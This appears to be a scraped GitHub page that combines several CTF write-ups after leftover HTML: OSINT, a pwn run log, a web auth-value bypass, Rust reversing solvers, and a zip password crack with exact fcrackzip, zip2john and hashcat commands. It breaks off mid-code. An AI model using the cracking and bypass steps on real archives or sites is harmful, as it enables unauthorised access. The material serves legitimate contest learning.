aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
# hIDe and seek ## Challenge: We don't know the flag, but we know some people who do! Here are their locations: Location ?v=hqXOIZtRYZU Location2 qFHIm0c.jpeg ## Solution: We have two locations. The first appears to be part of a YouTube video URL and the second looks like Imgur. As expected, we can find our (unlisted) video at https://www.youtube.com/watch?v=hqXOIZtRYZU. After listening to the narrator read off this portion of the flag, they then show us a paper copy: For the second half of the flag, we can find our image at https://i.imgur.com/qFHIm0c.jpeg: Putting them together, we have our complete flag: `sdctf{W0w_1_h4D_n0_ID3a!}`.
```babyrtos - 500pts - 0 solves - Author: rekter0, Maher Real time operating system, what is that ? nc babyrtos.2021.3k.ctf.to 7777 Attachment ``` ```$ python3 sploit.py [] '/media/veracrypt2/0-rekter/github/ctf/2021-3kCTF/pwn/babyrtos/prod/a.out' Arch: mips-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x80000400) RWX: Has RWX segments[+] Opening connection to babyrtos.2021.3k.ctf.to on port 7777: Done[] Switching to interactive mode13k{HELLO_RTOS_8938492}```
[Original writeup](https://tadeuszwachowski.github.io/CTFwriteups/dctf/#PowerPoint%20Programming) (https://tadeuszwachowski.github.io/CTFwriteups/dctf/#PowerPoint%20Programming)
# Simple web ## Description Time to warm up!http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080 ## Solution If we check the `I want flag!` checkbox and hit `Submit` we get `Not authorized`, let's try to analyze the page In the source code we found an `auth` value, just set it to `1` to get the flag ![](img1.png) #### FLAG >> `dctf{w3b_c4n_b3_fun_r1ght?}`
# Automatic Rejection MachineThis is a classical flag checker but its an Aarch64 ELF.Since qemu is a pain in the ass and I have no usable device to run the executable, we just reversed the binary and re-implemented it in Rust. The binary basically takes the flag and apply some operations on it, and then it checks that the result matches some magic values. To solve it we just brute-force the value using the number of magic values matched as a """""side-channel"""".```rustuse std::collections::HashMap; const SBOX: [i16; 30] = [ 0x0, 0x2, 0xB, 0x6, 0x4, 0x5, 0x3, 0x7, 0x8, 0x9, 0xA, 0x1, 0xC, 0x16, 0x18, 0xF, 0x11, 0x10, 0x12, 0x13, 0x17, 0x14, 0xD, 0x15, 0xE, 0x1D, 0x1C, 0x1B, 0x1A, 0x19]; fn shuffle_flag(mut flag: Vec<u8>) -> Vec<u8> { let mut sbox = SBOX.to_vec(); for i in 0..0x1E { let mut j = i; while sbox[j] > -1 { flag.swap(i, sbox[j] as usize); let tmp = sbox[j]; sbox[j] -= 0x1E; j = tmp as usize; } } flag} const WTF: [u64; 6] = [ 0x9e3779b917181920, 0x9e3779b912881288, 0xdeadbeeffeedbeef, 0x1badb002facecafe, 0xFEEDFACE08920892, 0xCAFEFEED12401240,]; fn f1(flag: Vec<u8>) -> Vec<u64> { let mut wtf = WTF.to_vec(); let mut res = Vec::new(); for i in 0..(flag.len() - 2) { wtf[0] = (flag[i + 2] as u64) << 0x10 \| (flag[i + 1] as u64) << 8 \| flag[i] as u64 \| 0xaabbccdd11000000; let (a, b) = f2(&wtf); res.push(a); res.push(b); } res} fn f2(wtf: &Vec<u64>) -> (u64, u64) { let mut res1 = wtf[0]; let mut res2 = wtf[1]; let mut c = wtf[2..].to_vec(); for i in 0..0x10 { c[i & 3] = c[0] + c[1] + ( c[2] + c[3] ^ c[0] << (c[2 & 0x3F]) ); let tmp = c[i & 3]; res1 += (tmp + res2) * 0x200 ^ tmp - res2 ^ (tmp + res2) >> 0xe; res2 += (tmp + res1) * 0x200 ^ tmp - res1 ^ (tmp + res1) >> 0xe; } (res1, res2)} const MAGIC: [u64; 60] = [ 0xb4d8846071ac9ee5, 0x1e1ff00814e134fe, 0x6b198e7941b7002e, 0xbc6fa839efe36443, 0xc3c71ad9a664b6c3, 0x5692a2f09c98d986, 0xf084a1a59cd01e68, 0xbc52e78a7e4df2df, 0xda219d93290b91a8, 0x5703d0286fa5d32f, 0x6274b1b118da82b2, 0xa746ebfb0954ebbc, 0x5f6df7bd4f1967a2, 0x16d5b5bdee98cf8e, 0x52e8b6df7e62e39a, 0x99f9455fb0c8d933, 0x5ffd82d53af933d, 0xff9084a16ff0141c, 0xe17c5f0781d52f9b, 0x1a0f4431548e51d1, 0xf2e8573d8f0f01dd, 0x250039177f4def91, 0x8851491ecbc7af7c, 0xad427c6695b91d24, 0x5e0071d97d98d094, 0x264dda52b0c37b03, 0xa5811271d6d7c428, 0xe0133fc719f34136, 0xe508ace2412b2633, 0x74321a3e9face34c, 0xff5b8a59e8ebf70b, 0x76275a516f88c986, 0x1604d76f74599cc4, 0xf744bcd8f2016f58, 0xa0b6a7a0239e4ea7, 0xf1efc57f15cb9ab4, 0xb0d1ad4fb4ed946a, 0x81ca31324d48e689, 0xe6a9979c51869f49, 0xa666637ee4bc2457, 0x6475b6ab4884b93c, 0x5c033b1207da898f, 0xb66dc7e0dec3443e, 0xe4899c99cfa0235c, 0x3b7fd8d4d0dcaf6b, 0xb1a4690db34a7a7c, 0x8041d2607129adab, 0xa6a1294a99894f1a, 0xdde37a1c4524b831, 0x3bc8d81de355b65c, 0x6c61ab15a63ad91e, 0x8fa4e37f4a3c7a39, 0x268b598404e773af, 0x74f4f040ae13f867, 0x4df78e91fd682404, 0xabe1fc425a9a671a, 0x1bb06615c8a31dd5, 0x9f56e9aef2fa5d55, 0x239dcf030b3ce09b, 0x24556a34b61ca99,]; const INV_SBOX: [usize; 30] = [0, 11, 1, 6, 4, 5, 3, 7, 8, 9, 10, 2, 12, 22, 24, 15, 17, 16, 18, 19, 21, 23, 13, 20, 14, 29, 28, 27, 26, 25]; fn main() { // start from a plausible input this is important because the f1 function // depends on the next 3 chars in the flag (once shuffled) so we need the `p` and the `m`` // to be already right otherwise the bruteforcing won't work. let mut input = b"ptm{EFGHIJKLMNOPQRSTUVWXYZabc}".to_vec(); // for each carachter for i in 1..30 { let mut tests = HashMap::new(); // bruteforce the next carachter for c in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\'()*+,-./:;<=>?@[\\]^_`{\|}~".bytes() { // set the current carachter input[INV_SBOX[i]] = c; // simlate the binary let clone_input = input.clone(); let flag = shuffle_flag(input.clone()); let flag = f1(flag); // count how many magic values the current input matches let mut count = 0; for i in 0..56 { if flag[i] == MAGIC[i] { count += 1; } } // save it into the possible solutions map tests.insert(clone_input, count); } // extract the input which matches the most magics let (new_input, count) = tests.iter().max_by(\|(_flag1, count1), (_flag2, count2)\| count1.cmp(count2)).unwrap(); // print it and use it for the next iteration println!("{} {}", String::from_utf8(new_input.clone()).unwrap(), count); input = new_input.clone(); }}```Which give the result:```$ time cargo run --releaseptm{EFGHIJKuMNOPQRSTUVWXYZabc} 2ptm{EFGHIJKuMNOPQRSTUVWXYZabc} 2ptm{EF0HIJKuMNOPQRSTUVWXYZabc} 4ptm{5F0HIJKuMNOPQRSTUVWXYZabc} 6ptm{5m0HIJKuMNOPQRSTUVWXYZabc} 10ptm{5m0HIJKuMNOPQRSTUVWXYZabc} 10ptm{5m0lIJKuMNOPQRSTUVWXYZabc} 12ptm{5m0l_JKuMNOPQRSTUVWXYZabc} 14ptm{5m0l_cKuMNOPQRSTUVWXYZabc} 16ptm{5m0l_chuMNOPQRSTUVWXYZabc} 20ptm{5m0l_chuMNOPQRSTUVWXYZabc} 20ptm{5m0l_chunNOPQRSTUVWXYZabc} 22ptm{5m0l_chunNOPQRSTUV3XYZabc} 24ptm{5m0l_chunNOPQRSTUV3XuZabc} 26ptm{5m0l_chunNO_QRSTUV3XuZabc} 28ptm{5m0l_chunNO_QmSTUV3XuZabc} 30ptm{5m0l_chunNO_5mSTUV3XuZabc} 32ptm{5m0l_chunNO_5m0TUV3XuZabc} 34ptm{5m0l_chunNO_5m0lUV3XuZabc} 36ptm{5m0l_chunNO_5m0lU53XuZabc} 38ptm{5m0l_chunNO_5m0lU53cuZabc} 40ptm{5m0l_chunkO_5m0lU53cuZabc} 42ptm{5m0l_chunkO_5m0l_53cuZabc} 44ptm{5m0l_chunk5_5m0l_53cuZabc} 48ptm{5m0l_chunk5_5m0l_53cuZabc} 48ptm{5m0l_chunk5_5m0l_53cuZaby} 50ptm{5m0l_chunk5_5m0l_53cuZa7y} 52ptm{5m0l_chunk5_5m0l_53cuZ17y} 54ptm{5m0l_chunk5_5m0l_53cur17y} 56cargo run --release 0.07s user 0.01s system 98% cpu 0.073 total```
# Photo Album Category: Forensics This challenge provided a `photo_album.zip` file. Attempting to unzip would prompt for the password for the images. ## Attempt 1: Dictionary Attack I started by doing a dictionary attack on the archive using the classic [rockyou.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz) wordlist and `fcrackzip`: ``` $ fcrackzip -v -D -p rockyou.txt -u photo_album.zip ``` No luck though, it seemed as if the password isn't a common one, and will need to be bruteforced. `fcrackzip` is slow when it comes to bruteforcing, I moved on to use `hashcat` instead to make use of my GPU. ## Attempt 2: BruteforceThe first step of using hashcat is to get a hash to work with. I used `zip2john` from `John the Ripper` to extract a password hash from the zip file: ```$ zip2john photo_album.zip > zip.tmp $ cat zip.tmpphoto_album.zip:$pkzip2$321082433fb700e82fbc48cd8fcbe5885e734727783acf77c9c3d96e165577a5f22f67294e18a1b6b6a439110824ee3970092a96ee640e56ecaccf86814fcab6573d4183016e5a042bb48615092304c8369131a425192021156b5dbfbd9d119e7700216b5d7d447691f6a82ce08dc64bd85e7dc7a48e6ed281371f2f207b50322ff94ff90184f66c$/pkzip2$::photo_album.zip:photo_album/baltimore-maryland-usa-skyline-P6X43LO.jpg, photo_album/baltimore-maryland-usa-skyline-PZWQ3DP.jpg, photo_album/baltimore-maryland-usa-skyline-P2TABP6.jpg:/photo_album.zip``` The only part we need for hashcat is the part within the `$pkzip2$` markers. I created a new file, `hash.txt`: ```$pkzip2$321082433fb700e82fbc48cd8fcbe5885e734727783acf77c9c3d96e165577a5f22f67294e18a1b6b6a439110824ee3970092a96ee640e56ecaccf86814fcab6573d4183016e5a042bb48615092304c8369131a425192021156b5dbfbd9d119e7700216b5d7d447691f6a82ce08dc64bd85e7dc7a48e6ed281371f2f207b50322ff94ff90184f66c$/pkzip2$``` According to the hashcat documentation, the following `pkzip2` formats are supported: ```17200 \| PKZIP (Compressed) \| Archives17220 \| PKZIP (Compressed Multi-File) \| Archives17225 \| PKZIP (Mixed Multi-File) \| Archives17230 \| PKZIP (Mixed Multi-File Checksum-Only) \| Archives17210 \| PKZIP (Uncompressed) \| Archives20500 \| PKZIP Master Key \| Archives20510 \| PKZIP Master Key (6 byte optimization) \| Archives``` Since we have multiple files, `17220 \| PKZIP (Compressed Multi-File)` looks like a good place to start. I used the following command to process the hash: ```$ hashcat.exe -m 17220 -a 3 -1 ?l?d ?1?1?1?1?1?1?1?1 hash.txt```- `-m 17220` means use mode `PKZIP (Compressed Multi-File)`- `-a 3` means use bruteforce mode- `-1 ?l?d ?1?1?1?1?1?1?1?1` means the password will be lowercase letters + digits of length 8 After letting that run for a bit, hashcat cracked the hash! Checking the result file showed:```cat hashcat.potfile $pkzip2$321082433fb700e82fbc48cd8fcbe5885e734727783acf77c9c3d96e165577a5f22f67294e18a1b6b6a439110824ee3970092a96ee640e56ecaccf86814fcab6573d4183016e5a042bb48615092304c8369131a425192021156b5dbfbd9d119e7700216b5d7d447691f6a82ce08dc64bd85e7dc7a48e6ed281371f2f207b50322ff94ff90184f66c$/pkzip2$:1966umbc``` The password is shown at the end, `1966umbc`. Using this password we can unzip the archive and view the photos. One of the photos wouldn't open. I ran `strings` on it to investigate: ```$ strings baltimore-maryland-usa-skyline-P6X43LO.jpgDawgCTF{P1ctur35qu3}```
# Parallel-The-M0leThis programs is a flag-hasher that spawns 14 threadss and apply operations to the flag (in a random order), it print the results, then it re-apply these operation in a slightly different order to a new copy of the flag and print it. In particular if at the first step it executes the functions:```result1 = f1 f2 f3 f4 f5 f6 f7 f8 f9 f10 f11 f12 f13 f14```then the second step it execute:```result2 = f1 f2 f3 f4 f5 f6 f14 f13 f12 f11 f10 f9 f8 f7``` Since the functions are all injective, we can write the inverse and bruteforce the sequence of 7 functions that applied in a reverse order on result1 and result2 produces the same result. Once we found this ""collision"" we can bruteforce the last 7 functions until we find a string that starts with `ptm{`.```rust// All the functions reversed from the binary, and their inverse. fn func1(mut flag: Vec<u8>) -> Vec<u8> { let mut buffer = vec![0, 0, 0, 0]; let mut i = 0; while i < flag.len() { for j in 0..4 { buffer[j] = flag[j + i]; } buffer.swap(3, 0); buffer.swap(1, 0); for j in 0..4 { flag[j + i] = buffer[j]; } i += 4; } flag} fn func1_inv(mut flag: Vec<u8>) -> Vec<u8> { let mut buffer = vec![0, 0, 0, 0]; let mut i = 0; while i < flag.len() { for j in 0..4 { buffer[j] = flag[j + i]; } buffer.swap(1, 0); buffer.swap(3, 0); for j in 0..4 { flag[j + i] = buffer[j]; } i += 4; } flag} fn func2(mut flag: Vec<u8>) -> Vec<u8> { let l = flag.len(); for i in 0..(l / 2) { flag[i] ^= flag[l - i - 1]; } flag} fn func2_inv(mut flag: Vec<u8>) -> Vec<u8> { let l = flag.len(); for i in 0..(l / 2) { flag[i] ^= flag[l - i - 1]; } flag} fn func3(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { let t = i & 7; flag[i] = flag[i] << t \| flag[i] >> (8 - t); } flag} fn func3_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { let t = 8 - (i & 7); flag[i] = flag[i] << t \| flag[i] >> (8 - t); } flag} fn func4(mut flag: Vec<u8>) -> Vec<u8> { let l = flag.len(); for i in 0..(l / 2) { flag[l - i - 1] ^= flag[i]; } flag} fn func4_inv(mut flag: Vec<u8>) -> Vec<u8> { let l = flag.len(); for i in 0..(l / 2) { flag[l - i - 1] ^= flag[i]; } flag} fn func5(mut flag: Vec<u8>) -> Vec<u8> { let buffer = b"{reverse_fake_flag}ptm".to_vec(); for i in 0..16 { flag[i] ^= buffer[i]; } flag} fn func5_inv(mut flag: Vec<u8>) -> Vec<u8> { let buffer = b"{reverse_fake_flag}ptm".to_vec(); for i in 0..16 { flag[i] ^= buffer[i]; } flag} fn func6(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] = !flag[i]; } flag} fn func6_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] = !flag[i]; } flag} fn func7(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { let mut val = flag[i]; let mut j = 7; let mut tmp = val >> 1; while tmp != 0 { val = val << 1 \| tmp & 1; tmp = tmp >> 1; j -= 1; } flag[i] = val << (j & 0x1F); } flag} fn func7_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { let mut val = flag[i]; let mut j = 7; let mut tmp = val >> 1; while tmp != 0 { val = val << 1 \| tmp & 1; tmp = tmp >> 1; j -= 1; } flag[i] = val << (j & 0x1F); } flag} fn func8(mut flag: Vec<u8>) -> Vec<u8> { flag.reverse(); flag} fn func8_inv(mut flag: Vec<u8>) -> Vec<u8> { flag.reverse(); flag} fn func9(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] += 42; } flag} fn func9_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] -= 42; } flag} fn func10(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] = flag[i] >> 4 & 0xf \| flag[i] << 4; } flag} fn func10_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] = (flag[i] >> 4) & 0xf \| flag[i] << 4; } flag} fn func11(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] = ( ((flag[i] & 1) << 4) \| flag[i] * 2 & 0x80 \| ((flag[i] & 0x10) << 2) \| ((flag[i] & 0x4) << 3) ) >> 4 \| ((flag[i] & 0x2) << 3) \| flag[i] & 0x80 \| flag[i] * 2 & 0x40 \| ((flag[i] & 0x8) << 2); } flag} // we are lazy so to invert the Func11 we just save every input-output pairconst FUNC11MAP: [u8; 256] = [0, 1, 4, 5, 16, 17, 20, 21, 64, 65, 68, 69, 80, 81, 84, 85, 2, 3, 6, 7, 18, 19, 22, 23, 66, 67, 70, 71, 82, 83, 86, 87, 8, 9, 12, 13, 24, 25, 28, 29, 72, 73, 76, 77, 88, 89, 92, 93, 10, 11, 14, 15, 26, 27, 30, 31, 74, 75, 78, 79, 90, 91, 94, 95, 32, 33, 36, 37, 48, 49, 52, 53, 96, 97, 100, 101, 112, 113, 116, 117, 34, 35, 38, 39, 50, 51, 54, 55, 98, 99, 102, 103, 114, 115, 118, 119, 40, 41, 44, 45, 56, 57, 60, 61, 104, 105, 108, 109, 120, 121, 124, 125, 42, 43, 46, 47, 58, 59, 62, 63, 106, 107, 110, 111, 122, 123, 126, 127, 128, 129, 132, 133, 144, 145, 148, 149, 192, 193, 196, 197, 208, 209, 212, 213, 130, 131, 134, 135, 146, 147, 150, 151, 194, 195, 198, 199, 210, 211, 214, 215, 136, 137, 140, 141, 152, 153, 156, 157, 200, 201, 204, 205, 216, 217, 220, 221, 138, 139, 142, 143, 154, 155, 158, 159, 202, 203, 206, 207, 218, 219, 222, 223, 160, 161, 164, 165, 176, 177, 180, 181, 224, 225, 228, 229, 240, 241, 244, 245, 162, 163, 166, 167, 178, 179, 182, 183, 226, 227, 230, 231, 242, 243, 246, 247, 168, 169, 172, 173, 184, 185, 188, 189, 232, 233, 236, 237, 248, 249, 252, 253, 170, 171, 174, 175, 186, 187, 190, 191, 234, 235, 238, 239, 250, 251, 254, 255]; fn func11_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] = FUNC11MAP[flag[i] as usize]; } flag} fn func12(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] = !(flag[i] ^ i as u8); } flag} fn func12_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] = !(flag[i] ^ i as u8); } flag} fn func13(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] += i as u8; } flag} fn func13_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { flag[i] -= i as u8; } flag} fn func14(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { if (flag[i] < b'A') \|\| (b'Z' < flag[i]) { if (b'`' < flag[i]) && (flag[i] < b'{') { flag[i] = flag[i] - 0x20; } } else { flag[i] = flag[i] + 0x20; } } flag} fn func14_inv(mut flag: Vec<u8>) -> Vec<u8> { for i in 0..16 { if (flag[i] < b'A') \|\| (b'Z' < flag[i]) { if (b'`' < flag[i]) && (flag[i] < b'{') { flag[i] = flag[i] - 0x20; } } else { flag[i] = flag[i] + 0x20; } } flag} const INV_FUNCTIONS: [fn(Vec<u8>) -> Vec<u8>; 14] = [ func1_inv, func2_inv, func3_inv, func4_inv, func5_inv, func6_inv, func7_inv, func8_inv, func9_inv, func10_inv, func11_inv, func12_inv, func13_inv, func14_inv];// the two results that are used to bruteforce the flagconst RESULT1: [u8; 16] = [ 42, 173, 46, 90, 73, 251, 45, 154, 219, 144, 141, 208, 14, 180, 140, 138,];const RESULT2: [u8; 16] = [ 102, 7, 171, 97, 159, 117, 176, 39, 47, 60, 30, 179, 63, 233, 237, 175,]; // find the sequence of seven functions that in opposite order yields the same output using result1 and result2 as inputsfn brute_step_1() -> Vec<u8> { for i1 in 0..14 { for i2 in 0..14 { for i3 in 0..14 { for i4 in 0..14 { for i5 in 0..14 { for i6 in 0..14 { for i7 in 0..14 { let mut x: u64 = 0; x \|= 1 << i1; x \|= 1 << i2; x \|= 1 << i3; x \|= 1 << i4; x \|= 1 << i5; x \|= 1 << i6; x \|= 1 << i7; if x.count_ones() != 7 { continue; } let r1 = INV_FUNCTIONS[i1](RESULT1.to_vec()); let r1 = INV_FUNCTIONS[i2](r1); let r1 = INV_FUNCTIONS[i3](r1); let r1 = INV_FUNCTIONS[i4](r1); let r1 = INV_FUNCTIONS[i5](r1); let r1 = INV_FUNCTIONS[i6](r1); let r1 = INV_FUNCTIONS[i7](r1); let r2 = INV_FUNCTIONS[i7](RESULT2.to_vec()); let r2 = INV_FUNCTIONS[i6](r2); let r2 = INV_FUNCTIONS[i5](r2); let r2 = INV_FUNCTIONS[i4](r2); let r2 = INV_FUNCTIONS[i3](r2); let r2 = INV_FUNCTIONS[i2](r2); let r2 = 